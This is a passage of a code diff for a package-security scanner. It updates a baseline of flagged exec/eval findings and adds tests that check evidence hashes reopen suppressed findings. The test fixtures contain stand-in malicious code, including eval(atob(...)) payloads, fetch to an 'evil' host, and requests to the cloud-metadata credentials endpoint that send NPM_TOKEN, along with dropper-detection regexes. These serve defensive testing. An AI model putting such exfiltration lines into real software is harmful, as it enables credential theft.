\"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),"+ "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),",+ "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce"},{"package": "six","file": "six.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")"+ "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",+ "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"},{"package": "sympy","file": "sympy/external/importtools.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)"+ "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)",+ "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce"},{"package": "sympy","file": "sympy/plotting/experimental_lambdify.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)"+ "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)",+ "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf"},{"package": "sympy","file": "sympy/utilities/lambdify.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace)"- },- {- "package": "tensorboard",- "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",- "check": "Python wheel ships large JS bundle (uncommon; manually review)",- "severity": "HIGH",- "evidence": ""+ "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)",+ "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd"},{"package": "torch","file": "torch/_dynamo/bytecode_debugger.py","check": "Anti-analysis/sandbox evasion + suspicious behavior","severity": "HIGH",- "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)"+ "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)\nExec: L683: result = eval(arg, frame_globals, eval_locals) | L708: result = eval(cmd, frame_globals, eval_locals) | L716: exec(cmd, frame_globals, eval_locals)",+ "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b"},{"package": "torch","file": "torch/_functorch/_aot_autograd/subclass_codegen.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)"+ "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)",+ "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67"},{"package": "torch","file": "torch/fx/experimental/rewriter.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)"+ "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)",+ "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748"},{"package": "torch","file": "torch/fx/graph_module.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)"+ "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)",+ "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15"},{"package": "torch","file": "torch/package/package_importer.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)"+ "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)",+ "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512"},{"package": "triton","file": "triton/runtime/interpreter.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)"+ "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)",+ "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711"},{"package": "unsloth-zoo",- "file": "scripts/scan_packages.py",- "check": "exec/eval with payload hidden in a docstring/string",+ "file": "tests/test_compiler_dynamic_exec.py",+ "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "marshal/compile/obfuscation: L132: r\"|\\bbytearray\\s*\\(\\s*\\[.*?\\]\\s*\\)\" # bytearray([104,101,...]) | L135: r\"|\\bgetattr\\s*\\(\\s*__builtins__\" # getattr(__builtins__, ...)"+ "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)",+ "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69"},{"package": "unsloth-zoo",- "file": "tests/test_compiler_dynamic_exec.py",+ "file": "tests/test_fused_forward_install.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)"+ "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)",+ "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa"},{"package": "unsloth-zoo",- "file": "tests/test_fused_forward_install.py",+ "file": "tests/test_mlx_trainer_internals.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)"+ "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):",+ "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf"},{"package": "unsloth-zoo","file": "tests/test_upstream_pinned_symbols_trl_vllm.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\""+ "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"",+ "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55"},{"package": "unsloth-zoo","file": "unsloth_zoo/compiler.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\ | L4292: f\"O^O/ {chr(92)}_/ {c"+ "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385: exec(f\"import {model_location}\", globals()) | L3388: modeling_file = eval(model_location) | L3401: exec(\nL3402: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403: ) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407: globals(),\nL3408: locals(),\nL3409: ) | L3560: source = eval(f\"modeling_file.{module}\") | L3574: source = eval(f\"modeling_file.{module}\") | L3675: source = eval(f\"modeling_file.{module}\") | L3713: source = eval(f\"{model_location}.{module}\") | L3784: source = eval(f\"{model_location}.{module}\") | L3832: source = eval(f\"{model_location}.{module}\") | L4054: source = eval(f\"{model_location}.{module}\") | L4065: exec(\nL4066: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067: globals(),\nL4068: ) | L4131: source = eval(f\"{model_location}.{module}\") | L4172: module_cls = eval(f\"{model_location}.{module}\") | L4209: module_cls = eval(f\"{model_location}.{module}\") | L4276: exec(\nL4277: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278: globals(),\nL4279: ) | L4341: exec(inner_training_loop, globals()) | L4349: function = eval(f\"{model_location}.{module}\") | L4427: function = eval(f\"{model_location}.{module}\") | L4562: source = eval(f\"{model_location}.torch\") | L4569: function = eval(f\"source.nn.{module}\") | L4628: exec(\nL4629: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630: globals(),\nL4631: locals(),\nL4632: ) | L4634: exec(\nL4635: f\"{model_location}.nn.{module}.forward = forward\",\nL4636: globals(),\nL4637: locals(),\nL4638: ) | L4642: exec(\nL4643: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644: globals(),\nL4645: locals(),\nL4646: ) | L4648: exec(\nL4649: f\"combined_module.nn.{module}.forward = forward\",\nL4650: globals(),\nL4651: locals(),\nL4652: ) | L4669: exec(\nL4670: f\"{model_location}.{module} = combined_module.{module}\",\nL4671: globals(),\nL4672: locals(),\nL4673: ) | L4683: check_dicts = dir(eval(f\"{model_location}\")) | L4685: item = eval(f\"{model_location}.{check}\") | L4695: exec(\nL4696: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697: globals(),\nL4698: locals(),\nL4699: )",+ "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7"},{"package": "unsloth-zoo","file": "unsloth_zoo/fused_losses/forward_install.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)"+ "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)",+ "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4"},{"package": "unsloth-zoo","file": "unsloth_zoo/mlx/loader.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L1739: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L141: mx.eval(model.parameters()) | L1543: model.eval() | L2126: mx.eval(model.parameters())"+ "evidence": "Obfusc: L2218: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140: mx.eval(model.parameters()) | L176: mx.eval(model.parameters()) | L2022: model.eval() | L2605: mx.eval(model.parameters()) | L2721: mx.eval(module.weight) | L4030: mx.eval(model.parameters()) | L4058: mx.eval(model.parameters()) | L4178: mx.eval(model.parameters())",+ "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1"},{"package": "unsloth-zoo","file": "unsloth_zoo/patching_utils.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L706: compile(new_source, '<temp_patched>', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_"+ "evidence": "Obfusc: L706: compile(new_source, '<temp_patched>', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())",+ "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2"},{"package": "unsloth-zoo","file": "unsloth_zoo/saving_utils.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)"+ "evidence": "Obfusc: L3241: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169: exec(save_pretrained, globals(), functions)",+ "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec"},{- "package": "unsloth-zoo",- "file": "tests/test_mlx_trainer_internals.py",+ "package": "werkzeug",+ "file": "werkzeug/routing/rules.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):"+ "evidence": "Obfusc: L836: code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736: exec(code, globs, locs)",+ "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d"},{- "package": "werkzeug",- "file": "werkzeug/routing/rules.py",- "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",+ "package": "multiprocess",+ "file": "multiprocess/tests/__init__.py",+ "check": "Reverse shell / bind shell pattern",+ "severity": "CRITICAL",+ "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",+ "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"+ },+ {+ "package": "unsloth-zoo",+ "file": "scripts/scan_packages.py",+ "check": "Writes to /tmp and executes (staged dropper)",+ "severity": "CRITICAL",+ "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",+ "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"+ },+ {+ "package": "multiprocess",+ "file": "multiprocess/tests/__init__.py",+ "check": "Reverse shell / bind shell pattern",+ "severity": "CRITICAL",+ "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",+ "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"+ },+ {+ "package": "fastapi",+ "file": "fastapi/routing.py",+ "check": "C2 polling/beaconing loop detected",+ "severity": "CRITICAL",+ "evidence": "L586: while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe",+ "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb"+ },+ {+ "package": "tensorboard",+ "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",+ "check": "Python wheel ships large JS bundle (uncommon; manually review)","severity": "HIGH",- "evidence": "Obfusc: L836: code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736: exec(code, globs, locs)"+ "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",+ "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"}]}diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.pyindex ec9af37785d..35a34e28348 100644--- a/tests/security/test_scan_npm_packages.py+++ b/tests/security/test_scan_npm_packages.py@@ -328,8 +328,9 @@ def _finding(fn,pattern,sev = snp.HIGH,+ evidence = "",):- return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern)+ return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence)def test_norm_pkg_name_strips_version_keeps_scope():@@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path):n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])assert n == 1 # dedup + MEDIUM excludedkeys = snp._load_baseline(str(bl))- assert (snp._norm_pkg_name("[email protected]"), "a.js", "obfuscated-blob") in keys+ assert snp._finding_key(findings[0]) in keys# MEDIUM below HIGH threshold -> not written.assert all(k[2] != "js-env-token" for k in keys)+def test_baseline_reopens_on_changed_evidence(tmp_path):+ # Same package/file/pattern but changed flagged code must reopen: the key now+ # includes an evidence hash, so a new payload cannot ride a reviewed entry.+ bl = tmp_path / "bl.json"+ listed = _finding(+ "[email protected]", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"+ )+ snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH])+ baseline = snp._load_baseline(str(bl))++ # The reviewed finding stays suppressed across a version bump (same evidence).+ same = _finding(+ "[email protected]", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"+ )+ # A changed payload under the same package/file/pattern stays active.+ changed = _finding(+ "[email protected]",+ "package/dist/index.js",+ "obfuscated-blob",+ evidence = "fetch('http://evil')",+ )+ active, suppressed = snp._partition_baseline([same, changed], baseline)+ assert same in suppressed+ assert changed in active+++def test_obfuscated_blob_key_reopens_on_changed_tail():+ # A large blob's evidence hash binds the full match (via a digest when the+ # snippet is truncated), so changing only the payload tail reopens the key.+ pkg = snp.PackageEntry(+ name = "evil",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",+ integrity = "sha512-test",+ lockfile_key = "node_modules/evil",+ )+ head = "A" * 2300+ old = f'eval("{head}{"B" * 300}")'+ new = f'eval("{head}{"C" * 300}")'+ of = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", old)+ if f.pattern == "obfuscated-blob"+ ][0]+ nf = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", new)+ if f.pattern == "obfuscated-blob"+ ][0]+ assert "sha256:" in of.evidence+ assert of.evidence != nf.evidence+ assert snp._finding_key(of) != snp._finding_key(nf)+++def test_js_fetch_eval_payload_tail_reopens_key():+ # The js-fetch-eval evidence digests the full containing line when the shown+ # window truncates it, so a changed payload tail beyond the window reopens+ # the key instead of riding the unchanged decoder head.+ pkg = snp.PackageEntry(+ name = "evil",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",+ integrity = "sha512-test",+ lockfile_key = "node_modules/evil",+ )+ head = "A" * 40+ old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n"+ new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n"+ of = [+ f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval"+ ][0]+ nf = [+ f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval"+ ][0]+ assert "sha256:" in of.evidence+ assert snp._finding_key(of) != snp._finding_key(nf)+++def test_outbound_host_multiline_options_reopen():+ # A multi-line outbound call binds its option/header lines, so changing the+ # headers/body on a continuation line reopens the cred-surface-host key.+ pkg = snp.PackageEntry(+ name = "evil",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",+ integrity = "sha512-test",+ lockfile_key = "node_modules/evil",+ )+ url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n"+ old = url + " {headers: {a: 'old'}})\n"+ new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n"+ of = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", old)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+ nf = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", new)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+ assert "sha256:" in of.evidence+ assert snp._finding_key(of) != snp._finding_key(nf)+++def test_outbound_host_config_multiline_object_reopens():+ # A host-config object whose `{` is on a prior line still binds the whole+ # object, so changing the path/headers on a following line reopens the key+ # rather than riding the unchanged hostname line.+ pkg = snp.PackageEntry(+ name = "evil",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",+ integrity = "sha512-test",+ lockfile_key = "node_modules/evil",+ )+ obj = (+ "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n"+ )+ old = obj % "/latest/meta-data/iam/security-credentials/old"+ new = obj % "/latest/meta-data/iam/security-credentials/evil"+ of = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", old)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+ nf = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", new)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+ assert snp._finding_key(of) != snp._finding_key(nf)+++def _host_config_pkg():+ return snp.PackageEntry(+ name = "evil",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",+ integrity = "sha512-test",+ lockfile_key = "node_modules/evil",+ )+++def _host_finding(text):+ return [+ f+ for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+++def test_outbound_host_config_long_object_binds_tail():+ # A config object longer than the backward window still binds its tail, so a+ # changed payload line well below the hostname reopens (not truncated away).+ filler = "\n".join(f" opt{i}: {i}," for i in range(30))+ obj = (+ "const opts = {\n hostname: '169.254.169.254',\n"+ + filler+ + "\n path: '%s',\n};\nrun(opts);\n"+ )+ assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(+ _host_finding(obj % "/evil")+ )+++def test_outbound_host_config_far_opener_binds():+ # The enclosing object's opener can sit well above the hostname line (a large+ # options object whose `{` is many properties back). The backward scan must+ # still reach it so a payload changed on an earlier property of the same object+ # reopens, not just a change on the hostname line itself.+ above = "\n".join(f" opt{i}: {i}," for i in range(20))+ obj = (+ "const opts = {\n"+ + above+ + "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"+ )+ changed = obj.replace("opt0: 0,", "opt0: 999,")+ assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed))+++def test_outbound_host_config_forward_cap_measured_from_match():+ # With the opener near the backward-search limit, the forward group cap must be+ # measured from the matched hostname line, not the opener, so the path that+ # follows the hostname is still bound and a changed payload there reopens.+ above = "\n".join(f" opt{i}: {i}," for i in range(198))+ obj = (+ "const opts = {\n"+ + above+ + "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"+ )+ assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(+ _host_finding(obj % "/evil")+ )+++def test_outbound_host_multiple_contexts_all_bind():+ # The same contextual host can appear in more than one outbound form. Adding a+ # separate host-config request beside an already-present URL for that host must+ # reopen the key, not ride the unchanged URL evidence.+ base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"+ extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n"+ assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))+++def test_outbound_host_config_opener_after_unmatched_closer_binds():+ # A leading unmatched `}` from a preceding block (its opener outside the+ # backward window) must not drive depth negative and mask the host-config+ # opener that follows; the object should still bind so a changed path reopens.+ pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view+ obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"+ assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(+ _host_finding(obj % "/evil")+ )+++def test_outbound_host_config_close_then_open_same_line_binds():+ # Stronger than the previous case: the unmatched closer and the host-config+ # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count+ # nets that line to <= 0 and drops the trailing `{`, so the group would start at+ # the hostname line and a changed path could ride the unchanged-hostname key.+ # Order-aware reduction keeps the opener, so the path binds and a change reopens.+ obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"+ assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(+ _host_finding(obj % "/evil")+ )+++def test_outbound_host_multiline_template_literal_reopens():+ # A ) inside a multi-line backtick template literal must not close the call+ # early; the options object after the template binds, so a changed header+ # reopens rather than riding the unchanged host (a per-line string 